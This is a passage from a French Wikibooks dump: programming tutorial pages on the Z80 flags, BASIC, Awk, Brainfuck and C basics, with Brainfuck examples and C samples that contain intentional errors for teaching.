reg,reg</td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>INI </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>SCF </td><td>.</td><td>.</td><td>.</td><td>1</td></tr> <tr><td>INIR </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>SET reg,reg</td><td>.</td><td>.</td><td>.</td><td>.</td></tr> <tr><td>JP reg </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>SLA </td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>JR reg </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>SRA </td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>LD A,I </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>SRL </td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>LD A,R </td><td>?</td><td>?</td><td>?</td><td>.</td> <td>SUB </td><td>?</td><td>?</td><td>?</td><td>?</td></tr> <tr><td>LD autre </td><td>.</td><td>.</td><td>.</td><td>.</td> <td>XOR </td><td>?</td><td>?</td><td>?</td><td>0</td></tr> </table> ? indique que le flag peut être modifié dans certains cas,<BR> . indique que le flag n'est jamais modifié,<BR> 0 ou 1 indique que le flag prend toujours cette valeur. Programmation Basic 392 26243 2005-11-29T09:35:34Z Guillaumito 46 autant utiliser les définitions de Wikipédia que de réécrire les notre... '''Basic''' acronyme de la définition anglaise: ''Beginner's All purpose Symbolic Instruction Code''. Ce language informatique évolué a surtout été utilisé des années 70 à 90. Il se veut simple d'accès pour les débutants et capable d'offrir une palette d'instructions couvrant tout les domaines de l'informatique. Il a été porté sur pratiquement tout les micro-ordinateurs du moment. Il a fait naître nombre de vocations de programmeurs. Dans ses versions les plus courantes, c'est un langage [[w:fr:Interpréteur|interprété]] ; de plus compte tenu de ses prétentions de couteau suisse, il est peu optimisé et par conséquent relativement lent à l'exécution. Toutefois une version pour ''ms-dos'' (assez méconnue) développé par l'éditeur ''Borland'' le ''Turbo-basic'' utilisant un [[w:fr:Compilateur|compilateur]] a réussi la gageure d'être encore plus complet, tout en étant beaucoup plus rapide à l'exécution et produisant des fichiers exécutables légers. Cette version améliore très nettement le BASIC d'origine. Elle ajoute des structures de programmation moderne, aux archaïques mais indispenssable ''if then else / for to next / while wend'' tel que: les choix ''select case'', les boucles ''do while until loop'', la gestion différenciée des variables locales et partagées, les appels à des procédures externes réutilisables, la fin en douceur des numéros de ligne de l'ancètre et une foule de détails, qui en font un langage moderne et bien adapté à une multitude d'usages, comme l'informatique embarquée, les automates et autres systèmes disposant de peu de ressources et réclamant fiabilité et constance de leur programmation. Ce langage est actuellement quelque peu éclipsé par les langages orientés objet plus adaptés aux environnements graphiques comme "MS Windows", mais nettement plus gourmand en ressources. {{Programmation}} Programmation Awk 393 12140 2004-11-10T15:47:21Z Esope 99 correction lien + {{Programmation}} * [[Programmation Awk Introduction|Introduction]] {{Programmation}} Programmation Brainfuck 394 42874 2006-05-20T12:02:18Z 80.170.188.167 * [[Programmation Brainfuck Introduction|Introduction]] * [[Programmation Brainfuck Les 8 instructions du langage|Les 8 instructions du langage]] * [[Programmation Brainfuck Comment effectuer les opérations courantes|Comment effectuer les opérations courantes]] * [[Programmation Brainfuck Conclusion|Conclusion]] ==[[Wikipédia:Lien externe|Liens externes]]== * [http://savannah.nongnu.org/projects/libbf/ Une bibliothèque LGPL incluant interprèteur, optimisateur et compilateur de Brainfuck !] {{Programmation}} Programmation Brainfuck Introduction 395 12142 2004-09-14T18:07:40Z Traroth 42 Brainfuck est un langage de programmation minimaliste, inventé par Urban Müller en 1993. Le nom est anglais, il vient de la contraction de brain, cerveau, et fuck, niquer. Il a d'ailleurs d'autres noms comme Brainf*ck, Brainf*** ou encore BF. Auraient-ils honte ? L'objectif de Müller était de créer un langage de programmation simple pour une machine de Turing qu'il pourrait implémenter avec le compilateur le plus petit possible. Le langage consiste en 8 instructions. La version 2 de son compilateur original, écrit pour l'Amiga, faisait 240 octets en taille. Comme son nom ne le suggère pas pour un anglophobe, les programmes Brainfuck sont difficiles à comprendre, peut-être même dangereux pour la santé mentale des programmeurs. Cependant, une machine de Turing et donc Brainfuck, peut accomplir n'importe quelle tâche. En ne tenant pas compte de la difficulté apparente à programmer certaines tâches en Brainfuck, c'est certainement possible de le faire. Le langage est basé sur un modèle de machine simple consistant en un tableau d'octets initialisés à 0, d'un pointeur sur le tableau (pointant sur le premier octet du tableau) et de 2 files d'octets pour les entrées et les sorties. Programmation Brainfuck Les 8 instructions du langage 396 12143 2004-11-12T22:56:15Z Esope 99 rajout de liens Les 8 instructions du langage, chacune codée par un caractère, sont les suivantes : <p> <table border="1"> <tr><th>Caract.</th><th>Signification</th></tr> <tr><td>></td><td> incrémente (augmente de 1) le pointeur.</td></tr> <tr><td><</td><td> décrémente (diminue de 1) le pointeur.</td></tr> <tr><td>+</td><td> incrémente l'octet du tableau pointé par le pointeur (l'octet pointé).</td></tr> <tr><td>-</td><td> décrémente l'octet pointé.</td></tr> <tr><td>.</td><td> sortie de l'octet pointé (valeur ASCII).</td></tr> <tr><td>,</td><td> entrée d'un octet dans le tableau à l'endroit du pointeur (valeur ASCII).</td></tr> <tr><td>[</td><td> saute à l'instruction après le ] correspondant si l'octet pointé est à 0.</td></tr> <tr><td>]</td><td> retourne à l'instruction après le [ si l'octet pointé est différent de 0.</td></tr> </table> (Alternativement, ] peut être défini par "retourne au [ correspondant". C'est plus court, mais moins symétrique et moins efficace en temps. Les deux versions produisent des programmes avec le même comportement.) (Une troisième version équivalente, quoique moins considérée, est : [ signifie "saute après l'instruction ] correspondante", et ] signifie "retourne à l'instruction après le [ correspondant si l'octet pointé est différent de 0".) Les programmes Brainfuck peuvent être traduits en [[Programmation C|C]] en utilisant les substitutions suivantes, en considérant que <code>ptr</code> est du type <code>char*</code>: <p> <table border="1"> <tr><th>Brainfuck</th><th>[[Programmation C|C]]</th></tr> <tr><td align="center"><tt> > </tt></td><td><tt> ++ptr; </tt></td></tr> <tr><td align="center"><tt> < </tt></td><td><tt> --ptr; </tt></td></tr> <tr><td align="center"><tt> + </tt></td><td><tt> ++*ptr; </tt></td></tr> <tr><td align="center"><tt> - </tt></td><td><tt> --*ptr; </tt></td></tr> <tr><td align="center"><tt> . </tt></td><td><tt> putchar(*ptr); </tt></td></tr> <tr><td align="center"><tt> , </tt></td><td><tt> *ptr = getchar(); </tt></td></tr> <tr><td align="center"><tt> [ </tt></td><td><tt> while (*ptr) { </tt></td></tr> <tr><td align="center"><tt> ] </tt></td><td><tt> } </tt></td></tr> </table> Programmation Brainfuck Comment effectuer les opérations courantes 397 12144 2004-09-14T18:08:29Z Traroth 42 === Hello World! === Un programme qui affiche "Hello World!" sur l'écran est : <code> ++++++++++[>+++++++>++++++++++>+++>+<<<<-] >++.>+.+++++++..+++.>++.<<+++++++++++++++. >.+++.------.--------.>+.>. </code> Brainfuck est intéressant dans ce cas, un programme "Hello World!" n'est pas facile à écrire ! Et à lire ! === Remise à zéro de l'octet pointé === <code>[-]</code> Tant que l'octet est différent de 0, on le décrémente. On arrête donc la boucle ([]) quand il est à 0. === Entrée/Sortie d'un caractère === <code>,.</code> Prend un caractère du clavier pour l'afficher à l'écran. === Boucle simple === <code>,[.,]</code> Une boucle qui prend une entrée du clavier et l'affiche à l'écran. Notez qu'on s'attend à avoir un 0 pour marquer la fin de l'entrée (les implémentations peuvent être différentes à ce niveau là). === Manipulation de pointeur === <code>>,[.>,]</code> Une version améliorée de la boucle précédente dans laquelle on stocke les caractères entrés dans le tableau pour une future utilisation, en déplaçant le pointeur à chaque fois. === Addition === Ce code ajoute l'octet courant (en le détruisant, il sera à 0 à la fin) à l'octet suivant. <code>[->+<]</code> Soit Tableau[0] = 2 et Tableau[1] = 8, "[" débute la boucle, "-" et Tableau[0] = 1, ">" on pointe sur l'octet 1, "+" et Tableau[1] = 9, "]" on recommence. À la fin, on aura bien Tableau[0] = 0 ce qui arrête la boucle, et Tableau[1] = 10. === Instructions conditionnelles === <code>,----------[----------------------.,----------]</code> Ce programme prend un caractère minuscule en entrée et le met en [[majuscule]]. Pour arrêter, on tape la touche entrée (code 10 en Brainfuck dans la plupart des compilos). Au début, on récupère le premier caractère (,) et on lui soustrait immédiatement 10 (10 fois -). Si l'utilisateur a tapé entrée, on a 0 dans l'octet pointé et l'instruction de boucle ([) sautera à la fin du programme. Si le caractère entré n'est pas 10, on assume qu'il est en minuscule et on entre dans la boucle, où on va lui soustraire le nombre 22 (22 fois -), ce qui va faire 32 en tout, et 32 est la différence en ASCII entre la lettre minuscule et la même lettre en [[majuscule]]. On va donc l'afficher, puis on en récupère une nouvelle, et à nouveau on lui soustrait 10. Et on repart au début de la boucle. Si le caractère entrée est un Entrée (10), la boucle s'arrêtera comme on l'a déjà vu, sinon on continue. === Addition === <code>,>++++++[<-------->-],,[<+>-],<.>.</code> Ce programme additionne 2 nombres à un seul chiffre et affiche le résultat si celui-ci n'a aussi qu'un seul chiffre : <code>4+3</code> <code>7</code> (Maintenant les choses vont être un peu plus compliquées. Nous allons nous référer aux octets du tableau ainsi : [0], [1], [2], etc.) Le premier nombre est entré dans [0], et on lui soustrait 48 pour avoir sa valeur décimale (les codes ASCII pour les chiffres 0-9 sont 48-57). Cela est fait en mettant 6 dans [1] et en utilisant une boucle pour soustraire 8 de [0] autant de fois que dans [1], soit 6 x 48 = 48. C'est une méthode plus commode pour ajouter ou soustraire des grands nombres que de mettre 48 fois "-" dans le programme. Le code qui fait cela est : <code>>++++++[<-------->-]</code> <code>>++++++</code> pour mettre 6 dans [1], puis on attaque la boucle, "<" pour revenir sur [0], on soustrait 8, ">" on repasse sur [1], qu'on décrémente et on retourne dans la boucle. On va bien l'exécuter 6 fois, jusqu'à ce que [1] soit à 0. Ensuite, on récupère le signe plus qu'on met dans [1]&nbsp;; puis le second chiffre qui va écraser le signe plus. La boucle suivante <code>[<+>-]</code> fait le vrai boulot, ajoutant le second nombre dans le premier et remettant à zéro [1]. A chaque boucle, il ajoute 1 dans [0] et retire 1 de [1]&nbsp; ainsi [1] va finir par être à 0 tout ce qui a été ajouté à [0] a été retiré de [1]. Ensuite la touche entrée est mise dans [1]. (Note : il n'y a eu aucun contrôle des entrées.) Puis le pointeur est remis sur [0], qui est affiché ([0] est maintenant a + (b + 48), puisqu'on n'a pas corrigé b&nbsp;; ce qui est identique à (a + b) + 48, qui est ce que l'on veut), Maintenant, le pointeur est ramené sur [1], qui contient la touche entrée&nbsp;; que l'on affiche, et le boulot est fait. === Multiplication === <code>,>,,>++++++++[<------<------>>-] <<[>[>+>+<<-]>>[<<+>>-]<<<-] >>>++++++[<++++++++>-],<.>.</code> Comme le précédent, mais effectue une multiplication, pas une addition. Le premier nombre est entré dans [0], l'astérisque et le deuxième nombre dans [1] et les 2 nombres sont corrigés en leur soustrayant 48 (notez qu'il n'y a qu'une seule boucle de 8 itérations pour soustraire 6 à chaque itération aux 2 nombres !). Ensuite on entre dans la boucle de multiplication principale. L'idée de base est qu'à chaque boucle on soustrait 1 de [0] et on ajoute [1] dans le total cumulé gardé en [2] (3 * 2 = 2 + 2 + 2). En particulier&nbsp;: la première boucle cumule [1] dans [2] et [3], tout en remettant [1] à 0. (C'est la manière basique de dupliquer un nombre.) La deuxième boucle remet [3] dans [1], en remettant à 0 [3]. Puis on décrémente [0] et on est à la fin de la boucle principale. A la sortie de cette boucle, [0] contient 0, [1] a encore le 2e nombre, et [2] a le produit des 2 nombres. (Si on veut garder le premier nombre, on peut l'ajouter dans [4] à chaque itération de la boucle principale, puis à la fin de déplacer la valeur de [4] dans [0].) Exemple : 3 * 2 <table border=1> <tr><td>[0]</td><td>[1]</td><td>[2]</td><td>[3]</td></tr> <tr><td><b>3</b></td><td><b>2</b></td><td>0</td><td>0</td></tr> <tr><td colspan=4>1re boucle : <code>>[>+>+<<-]</code></td></tr> <tr><td>3</td><td>1</td><td>1</td><td>1</td></tr> <tr><td>3</td><td>0</td><td>2</td><td>2</td></tr> <tr><td colspan=4>2e boucle : <code>>>[<<+>>-]</code></td></tr> <tr><td>3</td><td>1</td><td>2</td><td>1</td></tr> <tr><td>3</td><td>2</td><td>2</td><td>0</td></tr> <tr><td colspan=4>Fin boucle princ : <code><<<-]</code></td></tr> <tr><td>2</td><td>2</td><td>2</td><td>0</td></tr> <tr><td colspan=4>1re boucle : <code>>[>+>+<<-]</code></td></tr> <tr><td>2</td><td>1</td><td>3</td><td>1</td></tr> <tr><td>2</td><td>0</td><td>4</td><td>2</td></tr> <tr><td colspan=4>2e boucle : <code>>>[<<+>>-]</code></td></tr> <tr><td>2</td><td>1</td><td>4</td><td>1</td></tr> <tr><td>2</td><td>2</td><td>4</td><td>0</td></tr> <tr><td colspan=4>Fin boucle princ : <code><<<-]</code></td></tr> <tr><td>1</td><td>2</td><td>4</td><td>0</td></tr> <tr><td colspan=4>1re boucle : <code>>[>+>+<<-]</code></td></tr> <tr><td>1</td><td>1</td><td>5</td><td>1</td></tr> <tr><td>1</td><td>0</td><td>6</td><td>2</td></tr> <tr><td colspan=4>2e boucle : <code>>>[<<+>>-]</code></td></tr> <tr><td>1</td><td>1</td><td>6</td><td>1</td></tr> <tr><td>1</td><td>2</td><td>6</td><td>0</td></tr> <tr><td colspan=4>Fin boucle princ : <code><<<-]</code></td></tr> <tr><td>0</td><td>2</td><td><b>6</b></td><td>0</td></tr> </table> Ensuite, il ne reste plus qu'à ajouter 48 au produit, récupérer la touche entrée dans [3], et afficher le produit ASCIIé et l'entrée qu'on vient juste de stocker. Programmation C 398 35418 2006-03-02T07:36:14Z Merrheim 1032 {{Programmation C}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#EAF5FB" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#EAF5FB" valign="middle" width="90%" align="center" | <font size="+1">Programmation C</font> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Programmation C/Sommaire|couleur=#EAF5FB|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} {{Programmation}} [[de:C-Programmierung]] [[en:Programming:C]] [[es:Programación en C (fundamentos)]] [[ja:C言語]] [[nl:Programmeren in C]] [[pl:Programowanie:C]] [[sv:Programmering i ANSI-C]] Programmation C Bases du langage 399 46454 2006-06-29T09:52:41Z Alveric 1610 /* Variables globales */ Exemple d'initalisation {{Programmation C}} ==Hello world!== L'un des plus petits programmes possible en langage C est : <pre> #include <stdio.h> int main(void) { printf("hello world!\n"); return 0; } </pre> Ce programme a pour seule fonction d'afficher le texte «hello world!» suivi d'un retour à la ligne à l'écran. Voici la description de chaque ligne qui le compose : <pre> #include <stdio.h> </pre> Inclusion de l'en-tête nommé <code>stdio.h</code>. Il est lié à la gestion des entrées / sorties (''STanDard Input Output'') et contient, entre autres, la déclaration de la fonction <code>printf</code> permettant d'afficher du texte formaté. <pre> int main(void) </pre> Définition de la fonction principale du programme, <code>main</code> (''principal'' en anglais). Il s'agit de la fonction appelée par le système d'exploitation au démarrage du programme, tout programme en C doit donc la définir. La partie entre parenthèses spécifie les paramètres que reçoit le programme&nbsp;: ici, le programme n'utilisera aucun paramètre, on le spécifie donc avec le mot-clé <code>void</code><ref name="parametreVoid">Le paramètre <code>void</code> est facultatif, mais on gagne à être explicite.</ref>. La partie à gauche du nom de la fonction <code>main</code> spécifie le type renvoyé par la fonction&nbsp;: la fonction <code>main</code> est définie par la norme C comme renvoyant une valeur entière, de type <code>int</code>, au système d'exploitation<ref name="startup">Une implémentation peut définir un autre prototype pour <code>main</code>, ou spécifier une autre fonction pour le démarrage du programme, mais ces cas sont plus rares (et souvent spécifiques à du C embarqué)</ref>. <pre> { </pre> Début de la définition de la fonction <code>main</code>. <pre> printf("hello world!\n"); </pre> Invocation la fonction <code>printf</code>. La chaîne « hello world! » va être affichée, elle sera suivie d'un retour à la ligne (il est représenté par <code>\n</code>). <pre> return 0; </pre> La fonction <code>main</code> a été définie comme retournant une valeur de type <code>int</code>, on renvoie donc une telle valeur. La valeur 0 permet d'indiquer au système d'exploitation que le programme s'est terminé normalement<ref name="parametreMain">Voir [[ Programmation C Fonctions et procédures#La fonction main | La fonction main ]] pour plus d'information</ref>. <pre> } </pre> Fin de la définition de la fonction <code>main</code>. ==Compilation== Pour exécuter un programme C, il faut préalablement le [[w:fr:compilation|compiler]]. Tapez le code source du programme ''hello world!'' dans un [[w:fr:éditeur de texte|éditeur de texte]] et sauvegardez-le sous le nom <code>hello_world.c</code> (l'extension <code>.c</code> n'est pas obligatoire, mais est usuelle pour un fichier source en C). Ouvrez une fenêtre de commandes (terminal sous Unix, commandes MS-DOS sous Windows), et placez-vous dans le répertoire où est sauvegardé votre fichier. Pour compiler avec le compilateur GNU CC, il faut taper la commande : <pre> cc hello_world.c </pre> D'autre compilateurs pour le langage C peuvent être utilisés. La compilation du programme produira un fichier exécutable (<code>a.out</code> sous Unix, <code>a.exe</code> sous Windows) qui peut être exécuté (en tapant <code>./a.out</code> sous Unix, <code>a</code> sous Windows). ==Éléments de syntaxe== ===Identificateurs=== Les identificateurs commencent par une lettre ou un caractère souligné et peuvent contenir des lettres, des chiffres et le caractère souligné (cependant, les identificateurs commençant par deux caractères soulignés, ou un caractère souligné suivi d'une majuscule sont réservés au compilateur, et ne doivent pas être utilisés dans un programme «&nbsp;ordinaire&nbsp;»). '''Tous''' les mots-clés ainsi que les symboles (variables, fonctions, champs, etc.) sont '''sensibles à la casse des lettres'''. Quelques exemples d'identificateurs valides : <pre> toto _coin_coin76 </pre> ===Mots réservés du langage=== Le langage, dans la norme C90, possède 32 mots réservés (ou mots-clés) qui ne peuvent pas être utilisés comme identificateurs. La norme C99 y a ajouté 5 mots-clés. Le tableau ci-dessous les liste tous, avec la mention ''«C99»'' pour indiquer ceux définis uniquement dans la dernière version&nbsp;: {| cellspacing="0" cellpadding="5" style="border:thin black solid;" | [[Programmation C Classe de stockage#Classe 'auto'|auto]] || [[Programmation C Itérations#Arrêt et continuation des boucles|break]] || [[Programmation C Tests#Test switch|case]] || [[Programmation C Types de base|char]] || [[Programmation C Classe de stockage#Qualificateur 'const'|const]] || [[Programmation C Itérations#Arrêt et continuation des boucles|continue]] || [[Programmation C Tests#Test switch|default]] || [[Programmation C Itérations#Boucle do-while|do]] |- | [[Programmation C Types de base|double]] || [[Programmation C Tests#Test if|else]] || [[Programmation C Types avancés#Énumérations|enum]] || [[Programmation C Classe de stockage#Classe 'extern'|extern]] || [[Programmation C Types de base|float]] || [[Programmation C Itérations#Boucle for|for]] || [[Programmation C Itérations#Saut inconditionnel (goto)|goto]] || [[Programmation C Tests#Test if|if]] |- | [[Programmation C Fonctions et procédures#Fonction inline|inline ]]''(C99)'' || [[Programmation C Types de base|int]] || [[Programmation C Types de base|long]] || [[Programmation C Classe de stockage#Classe 'register'|register]] || restrict ''(C99)'' || [[Programmation C Fonctions et procédures|return]] || [[Programmation C Types de base|short]] || [[Programmation C Types de base|signed]] |- | [[Programmation C Opérateurs|sizeof]] || [[Programmation C Classe de stockage#Classe 'static'|static]] || [[Programmation C Types avancés#Structures|struct]] || [[Programmation C Tests#Test switch|switch]] || [[ Programmation C Types avancés#Définitions de nouveaux types (typedef)|typedef]] || [[Programmation C Types avancés#Unions|union]] || [[Programmation C Types de base|unsigned]] || [[Programmation C Types de base|void]] |- |[[Programmation C Classe de stockage#Classe 'volatile'|volatile]] || [[Programmation C Itérations#Boucle while|while]] || [[Programmation C Types de base#Booléens |_Bool]] ''(C99)'' || _Complex ''(C99)'' || _Imaginary ''(C99)'' |} Un programme C90 peut définir <code>inline</code> comme un identifiant de variable, par exemple, mais celà est très déconseillé, car un tel programme sera invalide au sens de la norme C99. Une mise à jour du compilateur peut alors faire refuser un tel programme, alors qu'il l'aurait accepté avant. Pour éviter de telles situations, il faut considérer ''tous'' les mots-clés du tableau précédent comme réservés, quel que soit le compilateur ou la norme utilisés. ===Commentaires=== Les commentaires commencent par <code>/*</code> et se terminent par <code>*/</code>, ils ne peuvent pas être imbriquées : <pre> /* ceci est un commentaire */ /* ceci est aussi un commentaire */ /* /* ceci est encore un commentaire */ /* /* */ ceci n'est pas un commentaire */ </pre> Inclure des commentaires pertinents dans un programme est un art subtil. Cela nécessite un peu de pratique pour savoir guider les lecteurs et attirer leur attention sur certaines parties délicates du code. Pour faire court, on ne saurait trop que rappeler ce célèbre vers de Nicolas Boileau, qui disait que « ce que l'on conçoit bien, s'énonce clairement et les mots pour le dire arrivent aisément » (Art Poétique, 1674). Ou encore, pour adopter une approche plus pragmatique : si un programmeur a du mal à commenter (expliquer, ''spécifier'') le fonctionnement d'un passage de code, c'est que le code est mal conçu et qu'il serait bénéfique de le réécrire plus lisiblement. Attention! Les commentaires '''ne devraient pas''' être employés pour désactiver certaines parties du code. Cette technique dissuade un programmeur d'en inclure puisque le langage C ne permet pas d'imbriquer les commentaires. Pour cela, le [[Programmation C Préprocesseur|préprocesseur]] dispose d'instructions dédiées, qui permettent heureusement de les laisser. Le // ajoute la possiblité de placer en commentaire une seule ligne : <pre> // commentaire instruction; // autre commentaire </pre> Cependant, ces commentaires « à la C++ » ne sont pas permis en C ANSI (C89). ===Instructions=== Les instructions se terminent par un point-virgule (<code>;</code>), on peut placer autant d'instructions que l'on veut sur une même ligne (même si ce n'est pas conseillé pour la lisibilité du code). Les blocs d'instructions commencent par une accolade ouvrante (<code>{</code>) et se terminent par une accolade fermante (<code>}</code>). '''Les instructions doivent obligatoirement être déclarées dans une fonction''' : il est impossible d'appeler une fonction pour initialiser une variable globale par exemple (contrairement au C++). <pre> /* une instruction */ i = 1; /* plusieurs instructions sur la même ligne */ i = 1; j = 2; printf("bonjour\n"); /* un bloc */ { int i; i = 5; } /* l'instruction vide */ ; </pre> Dans la mesure où le compilateur ne se soucie pas des blancs (espaces et retours à la ligne), vous pouvez formatter votre code comme vous l'entendez. Il y a beaucoup de religion concernant les styles d'indentation, mais pour faire court et éviter les guerres saintes, on ne saurait trop conseiller que d'utiliser le même nombre de blanc par niveau d'imbrication de bloc. À noter que l'instruction vide étant valide en C, on peut donc pratiquement rajouter autant de point-virgule que l'on veut. Le point-virgule ne sert pas uniquement à marquer la fin des instructions, les compilateurs l'utilisent généralement comme caractère de synchronisation, suite à une erreur dans un programme source. En fait, en général, lorqu'une erreur est détectée, les compilateurs ignorent tout jusqu'au prochain point-virgule. Ce qui peut avoir des conséquences assez dramatiques, comme dans l'exemple suivant : <pre> /* Ce code contient une erreur grossière et volontaire */ int traite_arguments( int nb, char * argv[] ) { /* ... */ return 0 } int main( int nb, char * argv[] ) { int retour; retour = traite_arguments( nb, argv ); /* ... */ } </pre> On notera l'absence de point-virgule à la fin de l'instruction <code>return</code> à la fin de la fonction <code>traite_arguments</code>. Ce que la plupart des compilateurs feront dans ce cas est d'ignorer tout jusqu'au prochain point-virgule. On se rend compte du problème : on a sauté une déclaration de fonction (avec ses deux paramètres) et une déclaration de variable. Ce qui veut dire qu'une cascade d'erreurs va suivre suite à l'oubli... d'un seul caractère (<code>;</code>) ! ===Déclarations de variables=== <pre> T var1, var2, ..., varN; </pre> Cette ligne déclare les variables ''var1'', ''var2'', ..., ''varN'' de type ''T''. Une variable est dite locale, si elle est définie à l'intérieure d'une [[Programmation C Fonctions et procédures|fonction]] et globale si définie en dehors. Par exemple&nbsp;: <pre>int jour; /* 'jour' est une variable globale, de type entier */ int main(void) { double prix; /* 'prix' est une variable locale à la fonction 'main', de type réel */ return 0; }</pre> ==== Variables locales ==== Les variables locales (aussi appelées ''automatiques'') ne sont visibles que dans le bloc dans lequel elles sont définies, et n'existent que durant ce bloc. Par exemple&nbsp;: <pre>/* Ce code contient une erreur volontaire. */ int fonction(int n) { int i; /* i est visible dans toute la fonction */ i = n + 1; { /* début d'un nouveau bloc */ int j; /* j est visible dans le nouveau bloc *seulement* */ j = 2 * i; /* i est accessible ici */ } /* j n'est plus accessible */ i = j; /* ERREUR ! */ return i; }</pre> Le code précédent accède à <code>i</code> depuis un bloc contenu dans le bloc où <code>i</code> a été définie, ce qui est normal. Puis il essaye d'accéder à la valeur de la variable <code>j</code> ''en-dehors'' du bloc où elle à été définie, ce qui est une erreur. '''Les variables locales ne sont pas initialisées automatiquement et contiennent donc, après leur déclaration, une valeur aléatoire.''' Utiliser une telle valeur peut causer un comportement aléatoire du programme. Le programme suivant essaye d'afficher la valeur d'une telle variable, et on ne peut savoir à l'avance ce qu'il va afficher. Si on le lance plusieurs fois, il peut afficher plusieurs fois la même valeur aussi bien qu'il peut afficher une valeur différente à chaque exécution&nbsp;: <pre>/* Ce code contient une erreur volontaire. */ #include <stdio.h> int main(void) { int n; printf("La variable n vaut %d\n", n); return 0; }</pre> Avant la normalisation ISO C99, les déclarations de variables locales devaient obligatoirement être placées juste au début d'un bloc et s'arrêtaient à la première instruction rencontrée. Si une déclaration est faite au-delà, une erreur sera retournée. Suivant la norme C99, les déclarations peuvent se trouver n'importe où dans un bloc. Par exemple, le code suivant est correct suivant la norme C99, mais pas suivant la norme C90, car la variable <code>a</code> est définie après l'instruction <code>puts("Bonjour&nbsp;!");</code>&nbsp;: <pre>int ma_fonction(int n) { puts("Bonjour !"); int a; /* Valide en C99, invalide en C90 */ /* autre chose... */ return a; }</pre> ==== Variables globales ==== Une attention particulière doit être portée aux variables globales, souvent source de confusion et d'erreur. Utilisez des noms explicites, longs si besoin et limitez leur usage au seul fichier où elles sont déclarées, en les déclarants [[Programmation C Classe de stockage|statiques]]. Les variables globales sont initialisées avant que la fonction <code>main</code> s'exécute. Si le programmeur ne fournit pas de valeur initiale explicitement, chaque variable reçoit une valeur par défaut suivant son type&nbsp;: * un [[Programmation C Types de base |nombre ]] (entier, réel ou complexe) est initialisé à 0&nbsp;; * les [[Programmation C Pointeurs |pointeurs ]] sont initialisés à <code>NULL</code>&nbsp;; * pour [[Programmation C Types avancés#Structures|une structure]], l'initialisation se faut récursivement, chaque membre étant initalisé suivant les mêmes règles&nbsp;; * pour [[Programmation C Types avancés#Unions|une union]], le premier membre est initialisé suivant ces règles. Pour initialiser explicitement une variable globale, on ne peut utiliser que des constantes&nbsp;; en particulier, on ne peut appeler de fonction, contrairement à d'autres langages. <pre>/* Ce code contient une erreur volontaire. */ int jour_courant(void) { /* retourne le n° du jour courant */ } int jour = jour_courant(); /* ERREUR ! */ int main(void) { /* ... */ return 0; } </pre> Le code précédent ne pourra pas compiler, car on ne peut appeler directement <code>jour_courant()</code> pour initialiser <code>jour</code>. Si vous avez besoin d'un tel comportement, une solution est de faire l'initalisation explicite dans <code>main</code>&nbsp;: <pre>int jour_courant(void) { /* retourne le n° du jour courant */ } int jour; /* 'jour' est initialisé à 0 *avant* le début de 'main' */ int main(void) { jour = jour_courant(); /* ... */ return 0; } </pre> ===Traitements des ambiguïtés=== Le C utilise un mécanisme élégant pour lever des constructions syntaxiques en apparence ambiguës. L'analyse des mots (lexèmes, ''token'' en anglais) se fait systématiquement de la gauche vers la droite. Si plusieurs lexèmes peuvent correspondre à une certaine position, le '''plus grand''' aura priorité. Considérez l'expression valide suivante : <pre> a+++b; </pre> Ce genre de construction hautement illisible et absconse étant bien évidemment à éviter, mais illustre parfaitement bien ce mécanisme. Dans cet exemple, le premier lexème trouvé est bien sûr l'identificateur '<code>a</code>' puis le compilateur a le choix entre l'opérateur unaire '<code>++</code>', ou l'opérateur binaire '<code>+</code>'. Le plus grand étant le premier, c'est celui-ci qui aura priorité. L'instruction peut donc se décomposer en : <pre> (a ++) + b; </pre> == Notes == <references /> == Liens externes == tutoriel par l'exemple "les bases du langage C [http://neofutur.net/langage_c/examples_language_C/langage_C_les_bases/langage_C_bases.html] Programmation C Types de base 400 46623 2006-06-30T14:55:43Z Alveric 1610 Ajout d'une introduction + séparation du paragraphe Caractères-constantes en 2 {{Programmation C}} Le C est un langage typé. Cela signifie que toutes les données manipulées, variables ou constantes, ont un type défini à la compilation. Le langage lui-même fournit des types permettant de manipuler des nombres ([[Programmation C Types de base#Entiers |entiers]], [[Programmation C Types de base#Réels |réels]] ou complexes) ou des [[Programmation C Types de base#Caractères|caractères]] (eux-mêmes étant manipulés comme des entiers spéciaux), et permet de construire des types plus complexes à partir de ces premiers, par exemple en groupant des données de même type en [[Programmation C Tableaux|tableaux]], ou des données de types différents dans des [[Programmation C Types avancés#Structures|structures]]. Dans ce chapitre, nous étudierons les types de base fournis par le C, l'étude des types complexes étant faite dans la suite du livre. ==Entiers== Il y a cinq types de variables entières (<code>int</code>eger en anglais) : *<code>char</code> ; *<code>short int</code>, ou plus simplement <code>short</code> ; *<code>int</code> ; *<code>long int</code>, ou <code>long</code> ; *<code>long long int</code>, ou <code>long long</code> (ce type a été ajouté depuis la norme C99). Comme évoqué en introduction, le type caractère <code>char</code> est particulier, et sera étudié en détail plus bas. Les types entiers peuvent prendre les modificateurs <code>signed</code>et <code>unsigned</code> qui permettent respectivement d'obtenir un type signé ou non signé. Ces modificateurs ne changent pas la taille des types. Le langage ne définit pas exactement leur tailles, mais définit un domaine de valeurs minimal pour chacun. {| cellpadding="5" cellspacing="0" style="border:thin black solid" |+ Domaines de valeurs minimaux des types entiers<ref name="domaineTypesEntiers">Ces valeurs sont identiques en C90 et en C99, exception faite du type <code>long long</code> ajouté par C99.</ref> ! style="background:#D0E2EE; text-align:center; font-weight:bold;" | Type ! style="background:#ECE5CA; text-align:center; font-weight:bold;" | Borne inférieure ! style="background:#D0E2EE; text-align:center; font-weight:bold;" | Borne inférieure (formule) ! style="background:#ECE5CA; 